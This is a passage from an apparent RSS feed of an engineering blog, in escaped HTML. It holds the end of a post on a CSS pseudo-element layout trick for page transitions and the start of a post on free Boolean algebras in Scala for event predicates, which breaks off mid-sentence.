9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The task (or issue)&lt;/h2&gt; &lt;p&gt;One of the most principle decisions we made was regarding the main layout of the app. It wasn&apos;t about changes in placement of content, but actually about the UI semantics. It mostly translated to color changes to bring a sense of how any screen in the app is structured and how all components on the page relate to each other. Here is a comparison of the before &amp;#x26; after designs:&lt;/p&gt; &lt;h3 id=&quot;old-design&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#old-design&quot; aria-label=&quot;old design permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Old Design&lt;/h3&gt; &lt;p&gt;&lt;img src=&quot;/images/2016/04/old-design.png&quot;&gt;&lt;/p&gt; &lt;h3 id=&quot;new-design&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#new-design&quot; aria-label=&quot;new design permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;New Design&lt;/h3&gt; &lt;p&gt;&lt;img src=&quot;/images/2016/04/new-design.png&quot;&gt;&lt;/p&gt; &lt;p&gt;Note in the new design how different sections on the screen are more distinguished with definite boundaries and background in contrast to old design where all the page content was on a single grey surface. The old design reflected in the architecture as well - every main module got the complete page structure (except the main top header and left navigation) along with it. Eg. A Campaign module (page) in the above screenshot comprises markup of the page title section, tab menu, main content and sidebar. What I am trying to put forth is that a transition between modules causes the complete module content (mentioned sections) to disappear and appear again. This was fine with old design as we need to keep the base layout (the single grey surface) intact and custom content can transition over it. But the new design bought an issue with this approach. &lt;strong&gt;The base layout was no more just a single grey surface, rather it got split into 4 separate distinguishable sections&lt;/strong&gt;:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;white page title section&lt;/li&gt; &lt;li&gt;grey tab menu&lt;/li&gt; &lt;li&gt;white main content section&lt;/li&gt; &lt;li&gt;grey sidebar&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;And all these section&apos;s markup being part of every main module&apos;s markup, would fade in/out during page transitions which was unacceptable as the common page layout (white grey sections) would itself keep getting fade in/out along with the custom content inside them - bad experience!&lt;/p&gt; &lt;h2 id=&quot;the-trick&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-trick&quot; aria-label=&quot;the trick permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The &quot;Trick&quot;&lt;/h2&gt; &lt;p&gt;The most trivial approach to retaining the page layout sections during transitions would have been to create those sections in the main markup instead of every module bringing its own 4 sections. And every module change would have simply substituted appropriate custom content inside those constant 4 sections on the page. But this would have meant a major change in the module architecture increasing the scope of the redesign project. Heres how we tackled this issue...&lt;/p&gt; &lt;p&gt;We used the above mentioned solution but instead of dividing the content into 4 sections at root level, &lt;strong&gt;we created an illusion of having 4 sections always present on the page - using pseudo element &amp;#x26; background gradients!&lt;/strong&gt; Heres how:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2016/04/pseudo-layout.png&quot;&gt;&lt;/p&gt; &lt;p&gt;So basically the pseudo structure always stays on the screen with all the custom content going and coming over it and giving an illusion that custom content renders inside those sections - just what we wanted for the end user!&lt;/p&gt; &lt;h2 id=&quot;final-result-and-code&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#final-result-and-code&quot; aria-label=&quot;final result and code permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Final result and code&lt;/h2&gt; &lt;iframe height=&apos;358&apos; scrolling=&apos;no&apos; src=&apos;//codepen.io/chinchang/embed/YqEzEQ/?height=358&amp;theme-id=0&amp;default-tab=result&apos; frameborder=&apos;no&apos; allowtransparency=&apos;true&apos; allowfullscreen=&apos;true&apos; style=&apos;width: 100%;&apos;&gt;See the Pen &lt;a href=&apos;http://codepen.io/chinchang/pen/YqEzEQ/&apos;&gt;Pseudo layout illusion&lt;/a&gt; by Kushagra Gour (&lt;a href=&apos;http://codepen.io/chinchang&apos;&gt;@chinchang&lt;/a&gt;) on &lt;a href=&apos;http://codepen.io&apos;&gt;CodePen&lt;/a&gt;. &lt;/iframe&gt; &lt;h2 id=&quot;in-the-end&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#in-the-end&quot; aria-label=&quot;in the end permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;In the End&lt;/h2&gt; &lt;p&gt;This trick (or hack as one may call) helped us achieve the desired UX without actually modifying the base module architecture and it has been working really great so far without any compromises made. &lt;strong&gt;Hacks are not always bad after all...its just about evaluating what is best when.&lt;/strong&gt;&lt;/p&gt;</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[Free objects - a generalized interpreter pattern]]></title><description><![CDATA[In the GOF book, the interpreter pattern is probably one of the most poorly described patterns. The interpreter pattern basically consists…]]></description><link>https://engineering.wingify.com//posts/Free-objects/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/Free-objects/</guid><pubDate>Mon, 15 Feb 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the &lt;a href=&quot;http://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612&quot;&gt;GOF book&lt;/a&gt;, the &lt;a href=&quot;https://en.wikipedia.org/wiki/Interpreter_pattern&quot;&gt;interpreter pattern&lt;/a&gt; is probably one of the most poorly described patterns. The interpreter pattern basically consists of building a specialty programming language out of objects in your language, and then interpreting it on the fly. &lt;a href=&quot;https://en.wikipedia.org/wiki/Greenspun%27s_tenth_rule&quot;&gt;Greenspun&apos;s Tenth Rule&lt;/a&gt; describes it as follows:&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Any sufficiently complicated C or Fortran program contains an ad hoc, informally-specified, bug-ridden, slow implementation of half of Common Lisp.&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;In essence, the interpreter pattern consists of dynamically generating and transmitting code at run time instead of statically generating it at compile time.&lt;/p&gt; &lt;p&gt;However, I believe that modern functional programming provides us some alternatives that provide functionality approaching that of embedding a lisp interpreter in our runtime, but also with some measures of type safety. I&apos;m going to describe Free Objects, and how they can be used as a substitute for an interpreter.&lt;/p&gt; &lt;p&gt;At Wingify, we have several important interpreters floating around in our (currently very experimental) event driven notification system. In this post I&apos;ll show how Free Boolean Algebras can drastically simplify the process of defining custom events.&lt;/p&gt; &lt;h1 id=&quot;algebraic-structures&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#algebraic-structures&quot; aria-label=&quot;algebraic structures permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Algebraic structures&lt;/h1&gt; &lt;p&gt;In functional programming, there are a lot of algebraic structures that are used to write programs in a type-safe manner. &lt;a href=&quot;https://blog.safaribooksonline.com/2013/05/15/monoids-for-programmers-a-scala-example/&quot;&gt;Monoids&lt;/a&gt; are one of the simplest examples - a monoid is a type &lt;code class=&quot;language-text&quot;&gt;T&lt;/code&gt; together with an operation &lt;code class=&quot;language-text&quot;&gt;|+|&lt;/code&gt; and an element &lt;code class=&quot;language-text&quot;&gt;zero[T]&lt;/code&gt; with the following properties:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;a |+| (b |+| c) === (a |+| b) |+| c //associativity a |+| zero === a //zero&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;A type is a monoid if it contains elements which can be added together in an associative way, together with a zero element. A number of common structures form monoids - integers (with &lt;code class=&quot;language-text&quot;&gt;a |+| b = a + b&lt;/code&gt; ) are a simple example. For instance:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;3 + (5 + 7) === (3 + 5) + 7 === 15 -17 + 0 === -17&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;But many other data structures also obey this law. Lists and strings, using &lt;code class=&quot;language-text&quot;&gt;|+|&lt;/code&gt; for concatenation and either &lt;code class=&quot;language-text&quot;&gt;[]&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;&amp;quot;&amp;quot;&lt;/code&gt; as the zero element, are also monoids. Monoids are commonly used as data structures to represent logs, for example.&lt;/p&gt; &lt;p&gt;Another algebraic structure is the Boolean Algebra. This is a type &lt;code class=&quot;language-text&quot;&gt;T&lt;/code&gt; with three operations - &lt;code class=&quot;language-text&quot;&gt;&amp;amp;&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;|&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;~&lt;/code&gt;, with a rather larger set of properties:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;a &amp;amp; (b &amp;amp; c) === (a &amp;amp; b) &amp;amp; c a | (b | c) === (a | b) | c ~~a === a a &amp;amp; (b | c) === (a &amp;amp; b) | (a &amp;amp; c) a | (b &amp;amp; c) === (a | b) &amp;amp; (a | c) a &amp;amp; a === a a | a === a ...etc...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;A boolean algebra also has both a &lt;code class=&quot;language-text&quot;&gt;zero&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;one&lt;/code&gt; element, satisfying &lt;code class=&quot;language-text&quot;&gt;zero &amp;amp; _ === zero&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;zero | x === x&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;one &amp;amp; x === x&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;one | _ === one&lt;/code&gt;. There are many common boolean algebras as well - &lt;code class=&quot;language-text&quot;&gt;Boolean&lt;/code&gt; of course, but also fixed-length bitmaps (with operations interpreted bitwise), functions of type &lt;code class=&quot;language-text&quot;&gt;T =&amp;gt; Boolean&lt;/code&gt; (here &lt;code class=&quot;language-text&quot;&gt;f &amp;amp; g = (x =&amp;gt; f(x) &amp;amp;&amp;amp; g(x))&lt;/code&gt;, etc).&lt;/p&gt; &lt;p&gt;There are quite a few more algebraic structures - monads provide another example. But I&apos;m going to leave the trickier ones for another post.&lt;/p&gt; &lt;h2 id=&quot;side-note-boolean-algebras-are-monoids-too&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#side-note-boolean-algebras-are-monoids-too&quot; aria-label=&quot;side note boolean algebras are monoids too permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Side note: Boolean Algebras are Monoids Too&lt;/h2&gt; &lt;p&gt;One of the interesting facts about abstract algebra is that many of these structures interact with each other in interesting ways. For example, any boolean algebra also has &lt;em&gt;two&lt;/em&gt; monoids built into it. The operations &lt;code class=&quot;language-text&quot;&gt;&amp;amp;&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;one&lt;/code&gt; satisfy the laws of a monoid:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;a &amp;amp; (b &amp;amp; c) === (a &amp;amp; b) &amp;amp; c a &amp;amp; one === a&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Similarly, the operations &lt;code class=&quot;language-text&quot;&gt;|&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;zero&lt;/code&gt; also satisfy the monoid laws:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;a | (b | c) === (a | b) | c a | zero === a&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;h1 id=&quot;event-predicates---take-one&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#event-predicates---take-one&quot; aria-label=&quot;event predicates take one permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Event predicates - take one&lt;/h1&gt; &lt;p&gt;In our experimental (i.e., you can&apos;t use it yet) event based targeting system, I wanted to create an easy way for users to trigger events. I.e., I want to be able to define a formula and evaluate whether it is true or false for some event. E.g.:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;((EventType == &amp;#39;pageview&amp;#39;) &amp;amp; (url == &amp;#39;http://www.vwo.com/pricing/&amp;#39;)) | ((EventType == &amp;#39;custom&amp;#39;) &amp;amp; (custom_event_name == &amp;#39;pricing_popup_displayed&amp;#39;))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This can be represented in Scala pretty straightforwardly:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;sealed trait EventPredicate { def matches(evt: Event): Boolean def &amp;amp;(other: EventPredicate) = And(this, other) def |(other: EventPRedicate) = Or(this, other) ... } case class EventType(kind: String) extends EventPredicate { def matches(evt: Event) = EventLenses.eventType.get(evt) == kind }&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We also need boolean operators:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;case class And(a: EventPredicate, b: EventPredicate) extends EventPredicate { def matches(evt: Event) = a.matches(evt) &amp;amp;&amp;amp; b.matches(evt) } ...etc...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Unfortunately, we have more than one type of predicate. We had quite a few requirements, in fact:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;We want to compile &lt;em&gt;some&lt;/em&gt; predicates to Javascript so they can be evaluated browser side.&lt;/li&gt; &lt;li&gt;We want to define compound predicates for the convenience of the user. E.g. &lt;code class=&quot;language-text&quot;&gt;GACampaign(utm_source, utm_campaign, ...)&lt;/code&gt; instead of &lt;code class=&quot;language-text&quot;&gt;URLParam(&amp;quot;utm_source&amp;quot;, &amp;quot;email&amp;quot;) &amp;amp; URLParam(&amp;quot;utm_campaign&amp;quot;, &amp;quot;ilovepuppies&amp;quot;) &amp;amp; ...&lt;/code&gt;, but we&apos;d also like to avoid re-implementing in multiple places things like parsing URL params.&lt;/li&gt; &lt;li&gt;We actually have multiple types of predicate - &lt;code class=&quot;language-text&quot;&gt;EventPredicate&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;UserPredicate&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;PagePredicate&lt;/code&gt; and we&apos;d like to avoid duplicating code to handle simple boolean algebra stuff. We&apos;d also like to avoid namespace collisions, so we&apos;d need to do &lt;code class=&quot;language-text&quot;&gt;AndEvent&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;AndUser&lt;/code&gt;, etc.&lt;/li&gt; &lt;li&gt;We also need to serialize these data structures to JSON, so it would be great if we could not duplicate code around things like serializing &lt;code class=&quot;language-text&quot;&gt;And___&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Or___&lt;/code&gt;, etc.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;The simple object-oriented approach described above doesn&apos;t really satisfy all these requirements.&lt;/p&gt; &lt;h1 id=&quot;the-free-boolean-algebra&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-free-boolean-algebra&quot; aria-label=&quot;the free boolean algebra permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Free Boolean Algebra&lt;/h1&gt; &lt;p&gt;Ultimately, what I really want to do is the following. I want to define a &lt;em&gt;set&lt;/em&gt; of objects, e.g.:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;case class EventType(kind: String) extends EventSpec case class URLMatch(url: String) extends EventSpec ...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Then I want to be able to build a boolean algebra out of them with some sort of simple type constructor. Given an object created with this type constructor, I then need to be able to make various algebra preserving transformations.&lt;/p&gt; &lt;p&gt;Luckily the field of abstract algebra provides a generic solution to this problem - the &lt;a href=&quot;https://en.wikipedia.org/wiki/Free_object&quot;&gt;Free Object&lt;/a&gt;. A free object is a version of an algebraic structure which has no interpretation whatsoever - it&apos;s a purely symbolic way of representing that algebra. But the important thing about the free object is that it gives interpretation almost for free.&lt;/p&gt; &lt;p&gt;More concretely, a Free Object is a &lt;a href=&quot;http://eed3si9n.com/learning-scalaz/Functor.html&quot;&gt;Functor&lt;/a&gt; with a particular natural transformation. I.e., for any type &lt;code class=&quot;language-text&quot;&gt;T&lt;/code&gt;, there is a type &lt;code class=&quot;language-text&quot;&gt;FreeObj[T]&lt;/code&gt; with the following properties:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;For any object &lt;code class=&quot;language-text&quot;&gt;t&lt;/code&gt; of type &lt;code class=&quot;language-text&quot;&gt;T&lt;/code&gt;, there is a corresponding object &lt;code class=&quot;language-text&quot;&gt;t.point[FreeObj]&lt;/code&gt; having type &lt;code class=&quot;language-text&quot;&gt;FreeObj[T]&lt;/code&gt;. I.e., objects outside the functor can be lifted into it.&lt;/li&gt; &lt;li&gt;Let &lt;code class=&quot;language-text&quot;&gt;X&lt;/code&gt; be another object having the same algebraic structure (e.g., &lt;code class=&quot;language-text&quot;&gt;X&lt;/code&gt; is any boolean algebra). Then for any function &lt;code class=&quot;language-text&quot;&gt;f: T =&amp;gt; X&lt;/code&gt;, there is a natural transformation &lt;code class=&quot;language-text&quot;&gt;nat(f): FreeObj[T] =&amp;gt; X&lt;/code&gt; with the properties that (a) &lt;code class=&quot;language-text&quot;&gt;nat(f)(t.point) = f(t)&lt;/code&gt; and (b) &lt;code class=&quot;language-text&quot;&gt;nat(f)&lt;/code&gt; preserves the structure of the underlying algebra.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Preserving the structure of the underlying algebra is important - this means that for a boolean algebra, &lt;code class=&quot;language-text&quot;&gt;nat(f)(x &amp;amp; y) === nat(f)(x) &amp;amp; nat(f)(y)&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;nat(f)(x | y) === nat(f)(x) | nat(f)(y)&lt;/code&gt;, etc.This property of preserving the structure is called &lt;em&gt;homomorphism&lt;/em&gt;.&lt;/p&gt; &lt;p&gt;This bit of mathematics is, in programming terms, the API of our FreeObject. This API allows us to turn any type into a monoid/boolean algebra/etc, and it guarantees that no information whatsoever is lost by doing so.&lt;/p&gt; &lt;h2 id=&quot;how-to-use-it&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-to-use-it&quot; aria-label=&quot;how to use it permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How to use it&lt;/h2&gt; &lt;p&gt;We&apos;ve developed a library which includes Free Boolean Algebras called &lt;a href=&quot;https://github.com/stucchio/oldmonk&quot;&gt;Old Monk&lt;/a&gt;. It&apos;s named after the &lt;a href=&quot;https://en.wikipedia.org/wiki/Old_Monk&quot;&gt;finest rum in the world&lt;/a&gt;. Old Monk also builds on top of &lt;a href=&quot;https://github.com/non/spire&quot;&gt;Spire&lt;/a&gt;, which provides various abstract algebra type classes in Scala.&lt;/p&gt; &lt;p&gt;To create a simple Boolean algebra for events, we import the following:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;import com.vwo.oldmonk.free._ implicit val freeBoolAlgebra = FreeBoolListAlgebra //There are multiple variants type FreeBool = FreeBoolList import spire.algebra._ import spire.implicits._&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We then define our underlying type:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;sealed trait EventSpec case class CookieValue(key: String, value: String) extends EventSpec ...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Finally, we define the predicate type:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;type EventPredicate = FreeBool[EventSpec]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Combining objects is now straightforward, and uses Spire 